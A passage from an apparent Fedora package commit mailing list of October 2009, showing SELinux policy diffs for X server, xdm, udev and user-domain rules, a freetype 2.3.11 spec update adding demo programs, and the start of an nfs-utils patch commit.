  stream_connect_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t, xserver_t)
-@@ -366,10 +420,14 @@
+@@ -366,10 +416,14 @@
  delete_files_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
  delete_sock_files_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
  
@@ -23613,7 +23918,7 @@ diff -b -B --ignore-all-space --exclude-
  
  kernel_read_system_state(xdm_t)
  kernel_read_kernel_sysctls(xdm_t)
-@@ -389,11 +447,13 @@
+@@ -389,11 +443,13 @@
  corenet_udp_sendrecv_all_ports(xdm_t)
  corenet_tcp_bind_generic_node(xdm_t)
  corenet_udp_bind_generic_node(xdm_t)
@@ -23627,7 +23932,7 @@ diff -b -B --ignore-all-space --exclude-
  dev_read_rand(xdm_t)
  dev_read_sysfs(xdm_t)
  dev_getattr_framebuffer_dev(xdm_t)
-@@ -401,6 +461,7 @@
+@@ -401,6 +457,7 @@
  dev_getattr_mouse_dev(xdm_t)
  dev_setattr_mouse_dev(xdm_t)
  dev_rw_apm_bios(xdm_t)
@@ -23635,7 +23940,7 @@ diff -b -B --ignore-all-space --exclude-
  dev_setattr_apm_bios_dev(xdm_t)
  dev_rw_dri(xdm_t)
  dev_rw_agp(xdm_t)
-@@ -413,14 +474,17 @@
+@@ -413,14 +470,17 @@
  dev_setattr_video_dev(xdm_t)
  dev_getattr_scanner_dev(xdm_t)
  dev_setattr_scanner_dev(xdm_t)
@@ -23655,7 +23960,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_read_etc_files(xdm_t)
  files_read_var_files(xdm_t)
-@@ -431,9 +495,13 @@
+@@ -431,9 +491,13 @@
  files_read_usr_files(xdm_t)
  # Poweroff wants to create the /poweroff file when run from xdm
  files_create_boot_flag(xdm_t)
@@ -23669,7 +23974,7 @@ diff -b -B --ignore-all-space --exclude-
  
  storage_dontaudit_read_fixed_disk(xdm_t)
  storage_dontaudit_write_fixed_disk(xdm_t)
-@@ -442,6 +510,7 @@
+@@ -442,6 +506,7 @@
  storage_dontaudit_raw_write_removable_device(xdm_t)
  storage_dontaudit_setattr_removable_dev(xdm_t)
  storage_dontaudit_rw_scsi_generic(xdm_t)
@@ -23677,7 +23982,7 @@ diff -b -B --ignore-all-space --exclude-
  
  term_setattr_console(xdm_t)
  term_use_unallocated_ttys(xdm_t)
-@@ -450,6 +519,7 @@
+@@ -450,6 +515,7 @@
  auth_domtrans_pam_console(xdm_t)
  auth_manage_pam_pid(xdm_t)
  auth_manage_pam_console_data(xdm_t)
@@ -23685,7 +23990,7 @@ diff -b -B --ignore-all-space --exclude-
  auth_rw_faillog(xdm_t)
  auth_write_login_records(xdm_t)
  
-@@ -460,10 +530,11 @@
+@@ -460,10 +526,11 @@
  
  logging_read_generic_logs(xdm_t)
  
@@ -23699,7 +24004,7 @@ diff -b -B --ignore-all-space --exclude-
  
  userdom_dontaudit_use_unpriv_user_fds(xdm_t)
  userdom_create_all_users_keys(xdm_t)
-@@ -472,6 +543,9 @@
+@@ -472,6 +539,9 @@
  # Search /proc for any user domain processes.
  userdom_read_all_users_state(xdm_t)
  userdom_signal_all_users(xdm_t)
@@ -23709,7 +24014,7 @@ diff -b -B --ignore-all-space --exclude-
  
  xserver_rw_session(xdm_t, xdm_tmpfs_t)
  xserver_unconfined(xdm_t)
-@@ -504,10 +578,12 @@
+@@ -504,10 +574,12 @@
  
  optional_policy(`
  	alsa_domtrans(xdm_t)
@@ -23722,7 +24027,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -515,12 +591,46 @@
+@@ -515,12 +587,46 @@
  ')
  
  optional_policy(`
@@ -23769,7 +24074,7 @@ diff -b -B --ignore-all-space --exclude-
  	hostname_exec(xdm_t)
  ')
  
-@@ -542,6 +652,38 @@
+@@ -542,6 +648,38 @@
  ')
  
  optional_policy(`
@@ -23808,7 +24113,7 @@ diff -b -B --ignore-all-space --exclude-
  	seutil_sigchld_newrole(xdm_t)
  ')
  
-@@ -550,8 +692,9 @@
+@@ -550,8 +688,9 @@
  ')
  
  optional_policy(`
@@ -23820,7 +24125,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	ifndef(`distro_redhat',`
  		allow xdm_t self:process { execheap execmem };
-@@ -560,7 +703,6 @@
+@@ -560,7 +699,6 @@
  	ifdef(`distro_rhel4',`
  		allow xdm_t self:process { execheap execmem };
  	')
@@ -23828,7 +24133,7 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	userhelper_dontaudit_search_config(xdm_t)
-@@ -571,6 +713,10 @@
+@@ -571,6 +709,10 @@
  ')
  
  optional_policy(`
@@ -23839,7 +24144,7 @@ diff -b -B --ignore-all-space --exclude-
  	xfs_stream_connect(xdm_t)
  ')
  
-@@ -587,10 +733,9 @@
+@@ -587,10 +729,9 @@
  # execheap needed until the X module loader is fixed.
  # NVIDIA Needs execstack
  
@@ -23851,7 +24156,7 @@ diff -b -B --ignore-all-space --exclude-
  allow xserver_t self:fd use;
  allow xserver_t self:fifo_file rw_fifo_file_perms;
  allow xserver_t self:sock_file read_sock_file_perms;
-@@ -602,9 +747,12 @@
+@@ -602,9 +743,12 @@
  allow xserver_t self:unix_stream_socket { create_stream_socket_perms connectto };
  allow xserver_t self:tcp_socket create_stream_socket_perms;
  allow xserver_t self:udp_socket create_socket_perms;
@@ -23864,7 +24169,7 @@ diff -b -B --ignore-all-space --exclude-
  
  allow xserver_t { input_xevent_t input_xevent_type }:x_event send;
  
-@@ -616,13 +764,14 @@
+@@ -616,13 +760,14 @@
  type_transition xserver_t xserver_t:{ x_drawable x_colormap } rootwindow_t;
  
  allow xserver_t { rootwindow_t x_domain }:x_drawable send;
@@ -23880,7 +24185,7 @@ diff -b -B --ignore-all-space --exclude-
  
  manage_dirs_pattern(xserver_t, xserver_tmpfs_t, xserver_tmpfs_t)
  manage_files_pattern(xserver_t, xserver_tmpfs_t, xserver_tmpfs_t)
-@@ -635,9 +784,19 @@
+@@ -635,9 +780,19 @@
  manage_lnk_files_pattern(xserver_t, xkb_var_lib_t, xkb_var_lib_t)
  files_search_var_lib(xserver_t)
  
@@ -23900,7 +24205,7 @@ diff -b -B --ignore-all-space --exclude-
  
  kernel_read_system_state(xserver_t)
  kernel_read_device_sysctls(xserver_t)
-@@ -671,7 +830,6 @@
+@@ -671,7 +826,6 @@
  dev_rw_agp(xserver_t)
  dev_rw_framebuffer(xserver_t)
  dev_manage_dri_dev(xserver_t)
@@ -23908,7 +24213,7 @@ diff -b -B --ignore-all-space --exclude-
  dev_create_generic_dirs(xserver_t)
  dev_setattr_generic_dirs(xserver_t)
  # raw memory access is needed if not using the frame buffer
-@@ -681,9 +839,12 @@
+@@ -681,9 +835,12 @@
  dev_rw_xserver_misc(xserver_t)
  # read events - the synaptics touchpad driver reads raw events
  dev_rw_input_dev(xserver_t)
@@ -23922,7 +24227,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_read_etc_files(xserver_t)
  files_read_etc_runtime_files(xserver_t)
-@@ -698,8 +859,12 @@
+@@ -698,8 +855,12 @@
  fs_search_nfs(xserver_t)
  fs_search_auto_mountpoints(xserver_t)
  fs_search_ramfs(xserver_t)
@@ -23935,7 +24240,7 @@ diff -b -B --ignore-all-space --exclude-
  
  selinux_validate_context(xserver_t)
  selinux_compute_access_vector(xserver_t)
-@@ -721,6 +886,7 @@
+@@ -721,6 +882,7 @@
  
  miscfiles_read_localization(xserver_t)
  miscfiles_read_fonts(xserver_t)
@@ -23943,7 +24248,7 @@ diff -b -B --ignore-all-space --exclude-
  
  modutils_domtrans_insmod(xserver_t)
  
-@@ -743,7 +909,7 @@
+@@ -743,7 +905,7 @@
  ')
  
  ifdef(`enable_mls',`
@@ -23952,7 +24257,7 @@ diff -b -B --ignore-all-space --exclude-
  	range_transition xserver_t xserver_t:x_drawable s0 - mls_systemhigh;
  ')
  
-@@ -775,12 +941,20 @@
+@@ -775,12 +937,20 @@
  ')
  
  optional_policy(`
@@ -23974,7 +24279,7 @@ diff -b -B --ignore-all-space --exclude-
  	unconfined_domtrans(xserver_t)
  ')
  
-@@ -807,7 +981,7 @@
+@@ -807,12 +977,12 @@
  allow xserver_t xdm_var_lib_t:file { getattr read };
  dontaudit xserver_t xdm_var_lib_t:dir search;
  
@@ -23982,8 +24287,16 @@ diff -b -B --ignore-all-space --exclude-
 +read_files_pattern(xserver_t, xdm_var_run_t, xdm_var_run_t)
  
  # Label pid and temporary files with derived types.
- manage_files_pattern(xserver_t, xdm_tmp_t, xdm_tmp_t)
-@@ -828,9 +1002,14 @@
+-manage_files_pattern(xserver_t, xdm_tmp_t, xdm_tmp_t)
+-manage_lnk_files_pattern(xserver_t, xdm_tmp_t, xdm_tmp_t)
+-manage_sock_files_pattern(xserver_t, xdm_tmp_t, xdm_tmp_t)
++manage_files_pattern(xserver_t, xserver_tmp_t, xserver_tmp_t)
++manage_lnk_files_pattern(xserver_t, xserver_tmp_t, xserver_tmp_t)
++manage_sock_files_pattern(xserver_t, xserver_tmp_t, xserver_tmp_t)
+ 
+ # Run xkbcomp.
+ allow xserver_t xkb_var_lib_t:lnk_file read;
+@@ -828,9 +998,14 @@
  # to read ROLE_home_t - examine this in more detail
  # (xauth?)
  userdom_read_user_home_content_files(xserver_t)
@@ -23998,7 +24311,7 @@ diff -b -B --ignore-all-space --exclude-
  tunable_policy(`use_nfs_home_dirs',`
  	fs_manage_nfs_dirs(xserver_t)
  	fs_manage_nfs_files(xserver_t)
-@@ -845,11 +1024,14 @@
+@@ -845,11 +1020,14 @@
  
  optional_policy(`
  	dbus_system_bus_client(xserver_t)
@@ -24014,7 +24327,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -882,6 +1064,8 @@
+@@ -882,6 +1060,8 @@
  # X Server
  # can read server-owned resources
  allow x_domain xserver_t:x_resource read;
@@ -24023,7 +24336,7 @@ diff -b -B --ignore-all-space --exclude-
  # can mess with own clients
  allow x_domain self:x_client { manage destroy };
  
-@@ -906,6 +1090,8 @@
+@@ -906,6 +1086,8 @@
  # operations allowed on my windows
  allow x_domain self:x_drawable { create destroy getattr setattr read write show hide list_child add_child remove_child manage send receive };
  
@@ -24032,7 +24345,7 @@ diff -b -B --ignore-all-space --exclude-
  # X Colormaps
  # can use the default colormap
  allow x_domain rootwindow_t:x_colormap { read use add_color };
-@@ -973,17 +1159,49 @@
+@@ -973,17 +1155,49 @@
  allow xserver_unconfined_type { x_domain xserver_t }:x_resource *;
  allow xserver_unconfined_type xevent_type:{ x_event x_synthetic_event } *;
  
@@ -28578,8 +28891,8 @@ diff -b -B --ignore-all-space --exclude-
  /sbin/udev	--	gen_context(system_u:object_r:udev_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/udev.if serefpolicy-3.6.32/policy/modules/system/udev.if
 --- nsaserefpolicy/policy/modules/system/udev.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/udev.if	2009-10-11 07:54:27.000000000 -0400
-@@ -168,4 +168,25 @@
++++ serefpolicy-3.6.32/policy/modules/system/udev.if	2009-10-22 09:04:35.000000000 -0400
+@@ -168,4 +168,43 @@
  
  	dev_list_all_dev_nodes($1)
  	allow $1 udev_tbl_t:file rw_file_perms;
@@ -28604,10 +28917,28 @@ diff -b -B --ignore-all-space --exclude-
 +
 +	files_search_var_lib($1)
 +	manage_files_pattern($1, udev_var_run_t, udev_var_run_t)
++')
++
++########################################
++## <summary>
++##	Send signal to udev process
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`udev_signal',`
++	gen_require(`
++		type udev_t;
++	')
++
++	allow $1 udev_t:process signal;
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/udev.te serefpolicy-3.6.32/policy/modules/system/udev.te
 --- nsaserefpolicy/policy/modules/system/udev.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/udev.te	2009-09-30 17:17:54.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/udev.te	2009-10-22 09:03:07.000000000 -0400
 @@ -50,6 +50,7 @@
  allow udev_t self:unix_stream_socket connectto;
  allow udev_t self:netlink_kobject_uevent_socket create_socket_perms;
@@ -29494,7 +29825,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-21 10:57:55.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-22 13:55:01.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -30770,7 +31101,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1503,6 +1636,25 @@
+@@ -1503,6 +1636,42 @@
  	allow $1 user_home_dir_t:dir relabelto;
  ')
  
@@ -30792,11 +31123,28 @@ diff -b -B --ignore-all-space --exclude-
 +
 +	allow $1 user_home_t:file relabelto;
 +')
++########################################
++## <summary>
++##	Relabel user home files.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`userdom_relabel_user_home_files',`
++	gen_require(`
++		type user_home_t;
++	')
++
++	allow $1 user_home_t:file { relabelto relabelfrom };
++')
 +
  ########################################
  ## <summary>
  ##	Create directories in the home dir root with
-@@ -1577,6 +1729,8 @@
+@@ -1577,6 +1746,8 @@
  	')
  
  	dontaudit $1 user_home_t:dir search_dir_perms;
@@ -30805,7 +31153,32 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1670,6 +1824,7 @@
+@@ -1619,6 +1790,24 @@
+ 
+ ########################################
+ ## <summary>
++##	Set the attributes of user home files.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`userdom_setattr_user_home_content_files',`
++	gen_require(`
++		type user_home_t;
++	')
++
++	allow $1 user_home_t:file setattr;
++')
++
++########################################
++## <summary>
+ ##	Do not audit attempts to set the
+ ##	attributes of user home files.
+ ## </summary>
+@@ -1670,6 +1859,7 @@
  		type user_home_dir_t, user_home_t;
  	')
  
@@ -30813,7 +31186,7 @@ diff -b -B --ignore-all-space --exclude-
  	read_files_pattern($1, { user_home_dir_t user_home_t }, user_home_t)
  	files_search_home($1)
  ')
-@@ -1797,19 +1952,32 @@
+@@ -1797,19 +1987,32 @@
  #
  interface(`userdom_exec_user_home_content_files',`
  	gen_require(`
@@ -30853,7 +31226,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1844,6 +2012,7 @@
+@@ -1844,6 +2047,7 @@
  interface(`userdom_manage_user_home_content_files',`
  	gen_require(`
  		type user_home_dir_t, user_home_t;
@@ -30861,11 +31234,60 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	manage_files_pattern($1, user_home_t, user_home_t)
-@@ -2391,27 +2560,7 @@
+@@ -2391,7 +2595,7 @@
+ 
+ ########################################
+ ## <summary>
+-##	Read user tmpfs files.
++##	Read/Write user tmpfs files.
+ ## </summary>
+ ## <param name="domain">
+ ##	<summary>
+@@ -2399,19 +2603,20 @@
+ ##	</summary>
+ ## </param>
+ #
+-interface(`userdom_read_user_tmpfs_files',`
++interface(`userdom_rw_user_tmpfs_files',`
+ 	gen_require(`
+ 		type user_tmpfs_t;
+ 	')
+ 
+-	read_files_pattern($1, user_tmpfs_t, user_tmpfs_t)
++	rw_files_pattern($1, user_tmpfs_t, user_tmpfs_t)
++	read_lnk_files_pattern($1, user_tmpfs_t, user_tmpfs_t)
+ 	allow $1 user_tmpfs_t:dir list_dir_perms;
+ 	fs_search_tmpfs($1)
+ ')
  
  ########################################
  ## <summary>
 -##	Read user tmpfs files.
++##	Get the attributes of a user domain tty.
+ ## </summary>
+ ## <param name="domain">
+ ##	<summary>
+@@ -2419,38 +2624,17 @@
+ ##	</summary>
+ ## </param>
+ #
+-interface(`userdom_rw_user_tmpfs_files',`
++interface(`userdom_getattr_user_ttys',`
+ 	gen_require(`
+-		type user_tmpfs_t;
++		type user_tty_device_t;
+ 	')
+ 
+-	rw_files_pattern($1, user_tmpfs_t, user_tmpfs_t)
+-	read_lnk_files_pattern($1, user_tmpfs_t, user_tmpfs_t)
+-	allow $1 user_tmpfs_t:dir list_dir_perms;
+-	fs_search_tmpfs($1)
++	allow $1 user_tty_device_t:chr_file getattr;
+ ')
+ 
+ ########################################
+ ## <summary>
+-##	Get the attributes of a user domain tty.
 -## </summary>
 -## <param name="domain">
 -##	<summary>
@@ -30873,24 +31295,22 @@ diff -b -B --ignore-all-space --exclude-
 -##	</summary>
 -## </param>
 -#
--interface(`userdom_read_user_tmpfs_files',`
+-interface(`userdom_getattr_user_ttys',`
 -	gen_require(`
--		type user_tmpfs_t;
+-		type user_tty_device_t;
 -	')
 -
--	read_files_pattern($1, user_tmpfs_t, user_tmpfs_t)
--	allow $1 user_tmpfs_t:dir list_dir_perms;
--	fs_search_tmpfs($1)
+-	allow $1 user_tty_device_t:chr_file getattr;
 -')
 -
 -########################################
 -## <summary>
--##	Read user tmpfs files.
-+##	Read/Write user tmpfs files.
+-##	Do not audit attempts to get the attributes of a user domain tty.
++##	Do not audit attempts to get the attributes of a user domain tty.
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -2749,7 +2898,7 @@
+@@ -2749,7 +2933,7 @@
  
  	domain_entry_file_spec_domtrans($1, unpriv_userdomain)
  	allow unpriv_userdomain $1:fd use;
@@ -30899,7 +31319,7 @@ diff -b -B --ignore-all-space --exclude-
  	allow unpriv_userdomain $1:process sigchld;
  ')
  
-@@ -2765,11 +2914,32 @@
+@@ -2765,11 +2949,32 @@
  #
  interface(`userdom_search_user_home_content',`
  	gen_require(`
@@ -30934,59 +31354,17 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2897,12 +3067,12 @@
+@@ -2897,7 +3102,25 @@
  		type user_tmp_t;
  	')
  
 -	allow $1 user_tmp_t:file write_file_perms;
 +	write_files_pattern($1, user_tmp_t, user_tmp_t)
- ')
- 
- ########################################
- ## <summary>
--##	Do not audit attempts to use user ttys.
-+##	Delete all users files in /tmp
- ## </summary>
- ## <param name="domain">
- ##	<summary>
-@@ -2910,17 +3080,17 @@
- ##	</summary>
- ## </param>
- #
--interface(`userdom_dontaudit_use_user_ttys',`
-+interface(`userdom_delete_user_tmp_files',`
- 	gen_require(`
--		type user_tty_device_t;
-+		type user_tmp_t;
- 	')
- 
--	dontaudit $1 user_tty_device_t:chr_file rw_file_perms;
-+	allow $1 user_tmp_t:file delete_file_perms;
- ')
- 
- ########################################
- ## <summary>
--##	Read the process state of all user domains.
-+##	Do not audit attempts to use user ttys.
- ## </summary>
- ## <param name="domain">
- ##	<summary>
-@@ -2928,12 +3098,31 @@
- ##	</summary>
- ## </param>
- #
--interface(`userdom_read_all_users_state',`
-+interface(`userdom_dontaudit_use_user_ttys',`
-+	gen_require(`
-+		type user_tty_device_t;
-+	')
-+
-+	dontaudit $1 user_tty_device_t:chr_file rw_file_perms;
 +')
 +
 +########################################
 +## <summary>
-+##	Read the process state of all user domains.
++##	Delete all users files in /tmp
 +## </summary>
 +## <param name="domain">
 +##	<summary>
@@ -30994,9 +31372,16 @@ diff -b -B --ignore-all-space --exclude-
 +##	</summary>
 +## </param>
 +#
-+interface(`userdom_read_all_users_state',`
- 	gen_require(`
- 		attribute userdomain;
++interface(`userdom_delete_user_tmp_files',`
++	gen_require(`
++		type user_tmp_t;
++	')
++
++	allow $1 user_tmp_t:file delete_file_perms;
+ ')
+ 
+ ########################################
+@@ -2934,6 +3157,7 @@
  	')
  
  	read_files_pattern($1, userdomain, userdomain)
@@ -31004,7 +31389,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_search_proc($1)
  ')
  
-@@ -3064,3 +3253,578 @@
+@@ -3064,3 +3288,578 @@
  
  	allow $1 userdomain:dbus send_msg;
  ')


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.948
retrieving revision 1.949
diff -u -p -r1.948 -r1.949
--- selinux-policy.spec	21 Oct 2009 15:55:49 -0000	1.948
+++ selinux-policy.spec	22 Oct 2009 19:59:10 -0000	1.949
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 31%{?dist}
+Release: 32%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -369,10 +369,6 @@ SELinux Reference policy minimum base mo
 packages="execmem.pp.bz2 unconfined.pp.bz2 unconfineduser.pp.bz2"
 %loadpolicy minimum $packages
 if [ $1 -eq 1 ]; then
-semanage -S minimum -i - << __eof
-login -m  -s unconfined_u -r s0-s0:c0.c1023 __default__
-login -m  -s unconfined_u -r s0-s0:c0.c1023 root
-__eof
 restorecon -R /root /var/log /var/run 2> /dev/null
 else
 %relabel minimum
@@ -449,6 +445,11 @@ exit 0
 %endif
 
 %changelog
+* Thu Oct 22 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-32
+- Allow unconfined_execmem_t to transition to sandbox
+- Allow postfix_cleanup to read etc_alias
+- Allow consolekit to signal udev
+
 * Wed Oct 21 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-31
 - Allow unconfined_execmem_t to transition to sandbox
 - Add sectool policy



From behdad at fedoraproject.org  Thu Oct 22 20:07:58 2009
From: behdad at fedoraproject.org (Behdad Esfahbod)
Date: Thu, 22 Oct 2009 20:07:58 +0000 (UTC)
Subject: rpms/freetype/devel freetype-2.3.11-more-demos.patch, NONE,
	1.1 .cvsignore, 1.23, 1.24 freetype.spec, 1.76, 1.77 sources,
	1.23, 1.24
Message-ID: <20091022200758.73B8E11C008C@cvs1.fedora.phx.redhat.com>

Author: behdad

Update of /cvs/pkgs/rpms/freetype/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4329

Modified Files:
	.cvsignore freetype.spec sources 
Added Files:
	freetype-2.3.11-more-demos.patch 
Log Message:
* Thu Oct 22 2009 Behdad Esfahbod <behdad at redhat.com> 2.3.11-1 
- Update to 2.3.11. 
- Add freetype-2.3.11-more-demos.patch 
- New demo programs ftmemchk, ftpatchk, and fttimer CVS: ----------------------------------------------------------------------


freetype-2.3.11-more-demos.patch:
 Makefile |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE freetype-2.3.11-more-demos.patch ---
diff -up freetype-2.3.11/ft2demos-2.3.11/Makefile.more-demos freetype-2.3.11/ft2demos-2.3.11/Makefile
--- freetype-2.3.11/ft2demos-2.3.11/Makefile.more-demos	2009-10-22 16:02:26.000000000 -0400
+++ freetype-2.3.11/ft2demos-2.3.11/Makefile	2009-10-22 16:02:32.000000000 -0400
@@ -288,10 +288,10 @@ else
   # Note that ttdebug only works if the FreeType's `truetype' driver has
   # been compiled with TT_CONFIG_OPTION_BYTECODE_INTERPRETER defined.
   #
-  # EXES += ftchkwd
-  # EXES += ftmemchk
-  # EXES += ftpatchk
-  # EXES += fttimer
+  EXES += ftchkwd
+  EXES += ftmemchk
+  EXES += ftpatchk
+  EXES += fttimer
   # EXES += testname
   # EXES += ttdebug
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/freetype/devel/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	8 Oct 2009 23:47:28 -0000	1.23
+++ .cvsignore	22 Oct 2009 20:07:57 -0000	1.24
@@ -1,3 +1,3 @@
-freetype-doc-2.3.10.tar.bz2
-ft2demos-2.3.10.tar.bz2
-freetype-2.3.10.tar.bz2
+freetype-doc-2.3.11.tar.bz2
+ft2demos-2.3.11.tar.bz2
+freetype-2.3.11.tar.bz2


Index: freetype.spec
===================================================================
RCS file: /cvs/pkgs/rpms/freetype/devel/freetype.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- freetype.spec	8 Oct 2009 23:47:28 -0000	1.76
+++ freetype.spec	22 Oct 2009 20:07:58 -0000	1.77
@@ -8,7 +8,7 @@
 
 Summary: A free and portable font rendering engine
 Name: freetype
-Version: 2.3.10
+Version: 2.3.11
 Release: 1%{?dist}
 License: FTL or GPLv2+
 Group: System Environment/Libraries
@@ -24,6 +24,8 @@ Patch21:  freetype-2.3.0-enable-spr.patc
 
 # Enable otvalid and gxvalid modules
 Patch46:  freetype-2.2.1-enable-valid.patch
+# Enable additional demos
+Patch47:  freetype-2.3.11-more-demos.patch
 
 # Fix multilib conflicts
 Patch88:  freetype-multilib.patch
@@ -94,6 +96,7 @@ popd
 %endif
 
 %patch46  -p1 -b .enable-valid
+%patch47  -p1 -b .more-demos
 
 %patch88 -p1 -b .multilib
 %patch89 -p1 -b .memcpy
@@ -127,7 +130,7 @@ rm -rf $RPM_BUILD_ROOT
 %makeinstall gnulocaledir=$RPM_BUILD_ROOT%{_datadir}/locale
 
 {
-  for ftdemo in ftbench ftchkwd ftdump ftlint ftmemchk ftvalid ; do
+  for ftdemo in ftbench ftchkwd ftmemchk ftpatchk fttimer ftdump ftlint ftmemchk ftvalid ; do
       builds/unix/libtool --mode=install install -m 755 ft2demos-%{version}/bin/$ftdemo $RPM_BUILD_ROOT/%{_bindir}
   done
 }
@@ -196,6 +199,9 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root)
 %{_bindir}/ftbench
 %{_bindir}/ftchkwd
+%{_bindir}/ftmemchk
+%{_bindir}/ftpatchk
+%{_bindir}/fttimer
 %{_bindir}/ftdump
 %{_bindir}/ftlint
 %{_bindir}/ftmemchk
@@ -226,6 +232,11 @@ rm -rf $RPM_BUILD_ROOT
 %doc docs/tutorial
 
 %changelog
+* Thu Oct 22 2009 Behdad Esfahbod <behdad at redhat.com> 2.3.11-1
+- Update to 2.3.11.
+- Add freetype-2.3.11-more-demos.patch
+- New demo programs ftmemchk, ftpatchk, and fttimer
+
 * Thu Oct 08 2009 Behdad Esfahbod <behdad at redhat.com> 2.3.10-1
 - Drop freetype-2.3.9-aliasing.patch
 - Update to 2.3.10.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/freetype/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	8 Oct 2009 23:47:28 -0000	1.23
+++ sources	22 Oct 2009 20:07:58 -0000	1.24
@@ -1,3 +1,3 @@
-9bdd83c5b6559bdfb68984f0b3d1dc8c  freetype-doc-2.3.10.tar.bz2
-e6d762885ecc8222774f5063a1605e45  ft2demos-2.3.10.tar.bz2
-b7a8a26cc137716a32b788664697d727  freetype-2.3.10.tar.bz2
+c9d75b659382aef80a8f86efcde08629  freetype-doc-2.3.11.tar.bz2
+7e3df8813fdbad22e996a5dfed7f7361  ft2demos-2.3.11.tar.bz2
+519c7cbf5cbd72ffa822c66844d3114c  freetype-2.3.11.tar.bz2



From steved at fedoraproject.org  Thu Oct 22 20:29:52 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Thu, 22 Oct 2009 20:29:52 +0000 (UTC)
Subject: rpms/nfs-utils/F-12 nfs-utils-1.2.0-mount-default.patch, NONE,
	1.1 nfs-utils-1.2.0-v4root-rel7.patch, NONE, 1.1 nfs-utils.spec,
	1.246, 1.247 nfs-utils-1.2.0-mntconf-negation.patch, 1.1,
	NONE nfs-utils-1.2.0-mntconf-vers.patch, 1.2,
	NONE nfs-utils-1.2.0-mount-vers4.patch, 1.2, NONE
Message-ID: <20091022202952.BDE2111C008C@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/nfs-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12404

Modified Files:
	nfs-utils.spec 
Added Files:
	nfs-utils-1.2.0-mount-default.patch 
	nfs-utils-1.2.0-v4root-rel7.patch 
Removed Files:
	nfs-utils-1.2.0-mntconf-negation.patch 
	nfs-utils-1.2.0-mntconf-vers.patch 
	nfs-utils-1.2.0-mount-vers4.patch 
Log Message:
- Updated to the latest pseudo root release (rel7).
- Added upstream 1.2.1-rc7 patch which fixes:
   - Stop ignoring the -o v4 option (bz 529407)
   - Allow network protocol roll backs when proto is set
     in the config file (bz 529864)


nfs-utils-1.2.0-mount-default.patch:
 nfsmount.conf |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE nfs-utils-1.2.0-mount-default.patch ---
diff -up nfs-utils-1.2.0/utils/mount/nfsmount.conf.orig nfs-utils-1.2.0/utils/mount/nfsmount.conf
--- nfs-utils-1.2.0/utils/mount/nfsmount.conf.orig	2009-10-22 16:07:23.000000000 -0400
+++ nfs-utils-1.2.0/utils/mount/nfsmount.conf	2009-10-22 16:25:07.000000000 -0400
@@ -31,7 +31,7 @@
 # Protocol Version [2,3,4]
 # This defines the default protocol version which will
 # be used to start the negotiation with the server.
-# Defaultvers=4
+Defaultvers=3
 #
 # Setting this option makes it mandatory the server supports the
 # given version. The mount will fail if the given version is 

nfs-utils-1.2.0-v4root-rel7.patch:
 support/export/xtab.c        |    6 
 support/include/exportfs.h   |   11 +
 support/include/nfs/export.h |    3 
 support/include/nfslib.h     |    1 
